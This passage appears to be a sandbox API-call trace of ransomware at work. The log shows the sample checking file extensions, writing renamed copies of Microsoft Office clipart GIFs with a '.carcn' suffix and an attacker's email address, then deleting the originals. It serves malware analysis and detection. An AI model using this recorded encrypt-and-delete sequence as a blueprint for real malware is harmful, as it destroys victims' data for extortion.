-1 [0292.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.878] lstrlenW (lpString=".dbf") returned 4 [0292.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.878] lstrlenW (lpString=".1cd") returned 4 [0292.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.878] lstrlenW (lpString=".jpg") returned 4 [0292.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.878] lstrlenW (lpString=".doc") returned 4 [0292.878] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.878] lstrlenW (lpString=".docx") returned 5 [0292.878] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.878] lstrlenW (lpString=".pdf") returned 4 [0292.878] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString=".xls") returned 4 [0292.878] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString=".xlsx") returned 5 [0292.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.878] lstrlenW (lpString=".ppt") returned 4 [0292.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.878] lstrlenW (lpString=".zip") returned 4 [0292.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.879] lstrlenW (lpString=".rar") returned 4 [0292.879] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.879] lstrlenW (lpString=".bz2") returned 4 [0292.879] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.879] lstrlenW (lpString=".7z") returned 3 [0292.879] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.879] lstrlenW (lpString=".dbf") returned 4 [0292.879] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.879] lstrlenW (lpString=".1cd") returned 4 [0292.879] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0292.879] lstrlenW (lpString=".jpg") returned 4 [0292.879] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.879] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.879] lstrlenW (lpString="AG00164_.GIF") returned 12 [0292.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.879] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=13254) returned 1 [0292.879] CloseHandle (hObject=0x36c) returned 1 [0292.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0292.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.880] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.880] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0292.881] GetLastError () returned 0x0 [0292.881] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x33c6, lpOverlapped=0x0) returned 1 [0292.882] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x33d0, lpOverlapped=0x0) returned 1 [0292.883] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.883] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.883] SetEndOfFile (hFile=0x370) returned 1 [0292.883] CloseHandle (hObject=0x370) returned 1 [0292.883] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.883] SetEndOfFile (hFile=0x36c) returned 1 [0292.884] CloseHandle (hObject=0x36c) returned 1 [0292.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0292.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.885] lstrlenW (lpString=".doc") returned 4 [0292.885] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.885] lstrlenW (lpString=".docx") returned 5 [0292.885] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.885] lstrlenW (lpString=".pdf") returned 4 [0292.885] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.885] lstrlenW (lpString=".xls") returned 4 [0292.885] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.885] lstrlenW (lpString=".xlsx") returned 5 [0292.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.886] lstrlenW (lpString=".ppt") returned 4 [0292.886] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.886] lstrlenW (lpString=".zip") returned 4 [0292.886] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.886] lstrlenW (lpString=".rar") returned 4 [0292.886] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.886] lstrlenW (lpString=".bz2") returned 4 [0292.886] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.886] lstrlenW (lpString=".7z") returned 3 [0292.886] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.886] lstrlenW (lpString=".dbf") returned 4 [0292.886] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.886] lstrlenW (lpString=".1cd") returned 4 [0292.886] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.886] lstrlenW (lpString=".jpg") returned 4 [0292.886] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.886] lstrlenW (lpString=".doc") returned 4 [0292.886] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.886] lstrlenW (lpString=".docx") returned 5 [0292.886] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.886] lstrlenW (lpString=".pdf") returned 4 [0292.886] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.887] lstrlenW (lpString=".xls") returned 4 [0292.887] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.887] lstrlenW (lpString=".xlsx") returned 5 [0292.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.887] lstrlenW (lpString=".ppt") returned 4 [0292.887] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.887] lstrlenW (lpString=".zip") returned 4 [0292.887] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.887] lstrlenW (lpString=".rar") returned 4 [0292.887] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.887] lstrlenW (lpString=".bz2") returned 4 [0292.887] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.887] lstrlenW (lpString=".7z") returned 3 [0292.887] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.887] lstrlenW (lpString=".dbf") returned 4 [0292.887] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.887] lstrlenW (lpString=".1cd") returned 4 [0292.887] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0292.887] lstrlenW (lpString=".jpg") returned 4 [0292.887] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.887] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.887] lstrlenW (lpString="AG00165_.GIF") returned 12 [0292.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.888] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=8582) returned 1 [0292.888] CloseHandle (hObject=0x36c) returned 1 [0292.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0292.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.888] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.888] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0292.889] GetLastError () returned 0x0 [0292.889] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2186, lpOverlapped=0x0) returned 1 [0292.890] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2190, lpOverlapped=0x0) returned 1 [0292.891] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.891] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.891] SetEndOfFile (hFile=0x370) returned 1 [0292.891] CloseHandle (hObject=0x370) returned 1 [0292.891] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.892] SetEndOfFile (hFile=0x36c) returned 1 [0292.892] CloseHandle (hObject=0x36c) returned 1 [0292.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0292.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.893] lstrlenW (lpString=".doc") returned 4 [0292.894] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.894] lstrlenW (lpString=".docx") returned 5 [0292.894] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.894] lstrlenW (lpString=".pdf") returned 4 [0292.894] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.894] lstrlenW (lpString=".xls") returned 4 [0292.894] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.894] lstrlenW (lpString=".xlsx") returned 5 [0292.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.894] lstrlenW (lpString=".ppt") returned 4 [0292.894] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.894] lstrlenW (lpString=".zip") returned 4 [0292.894] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.894] lstrlenW (lpString=".rar") returned 4 [0292.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.894] lstrlenW (lpString=".bz2") returned 4 [0292.894] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.894] lstrlenW (lpString=".7z") returned 3 [0292.894] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.894] lstrlenW (lpString=".dbf") returned 4 [0292.894] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.894] lstrlenW (lpString=".1cd") returned 4 [0292.894] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.894] lstrlenW (lpString=".jpg") returned 4 [0292.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.894] lstrlenW (lpString=".doc") returned 4 [0292.894] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.895] lstrlenW (lpString=".docx") returned 5 [0292.895] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.895] lstrlenW (lpString=".pdf") returned 4 [0292.895] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.895] lstrlenW (lpString=".xls") returned 4 [0292.895] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.895] lstrlenW (lpString=".xlsx") returned 5 [0292.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.895] lstrlenW (lpString=".ppt") returned 4 [0292.895] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.895] lstrlenW (lpString=".zip") returned 4 [0292.895] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.895] lstrlenW (lpString=".rar") returned 4 [0292.895] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.895] lstrlenW (lpString=".bz2") returned 4 [0292.895] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.895] lstrlenW (lpString=".7z") returned 3 [0292.895] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.895] lstrlenW (lpString=".dbf") returned 4 [0292.895] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.895] lstrlenW (lpString=".1cd") returned 4 [0292.895] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0292.895] lstrlenW (lpString=".jpg") returned 4 [0292.895] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.895] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.895] lstrlenW (lpString="AG00167_.GIF") returned 12 [0292.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.896] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4894) returned 1 [0292.896] CloseHandle (hObject=0x36c) returned 1 [0292.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0292.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0292.896] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.896] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0292.897] GetLastError () returned 0x0 [0292.897] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x131e, lpOverlapped=0x0) returned 1 [0293.235] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1320, lpOverlapped=0x0) returned 1 [0293.238] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.238] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.238] SetEndOfFile (hFile=0x370) returned 1 [0293.238] CloseHandle (hObject=0x370) returned 1 [0293.238] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.238] SetEndOfFile (hFile=0x36c) returned 1 [0293.239] CloseHandle (hObject=0x36c) returned 1 [0293.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0293.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.242] lstrlenW (lpString=".doc") returned 4 [0293.242] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.242] lstrlenW (lpString=".docx") returned 5 [0293.242] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.242] lstrlenW (lpString=".pdf") returned 4 [0293.242] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.242] lstrlenW (lpString=".xls") returned 4 [0293.242] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.242] lstrlenW (lpString=".xlsx") returned 5 [0293.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.242] lstrlenW (lpString=".ppt") returned 4 [0293.242] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.242] lstrlenW (lpString=".zip") returned 4 [0293.242] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.242] lstrlenW (lpString=".rar") returned 4 [0293.242] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.242] lstrlenW (lpString=".bz2") returned 4 [0293.243] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.243] lstrlenW (lpString=".7z") returned 3 [0293.243] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.243] lstrlenW (lpString=".dbf") returned 4 [0293.243] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.243] lstrlenW (lpString=".1cd") returned 4 [0293.243] lstrcmpiW (lpString1=".1cd", 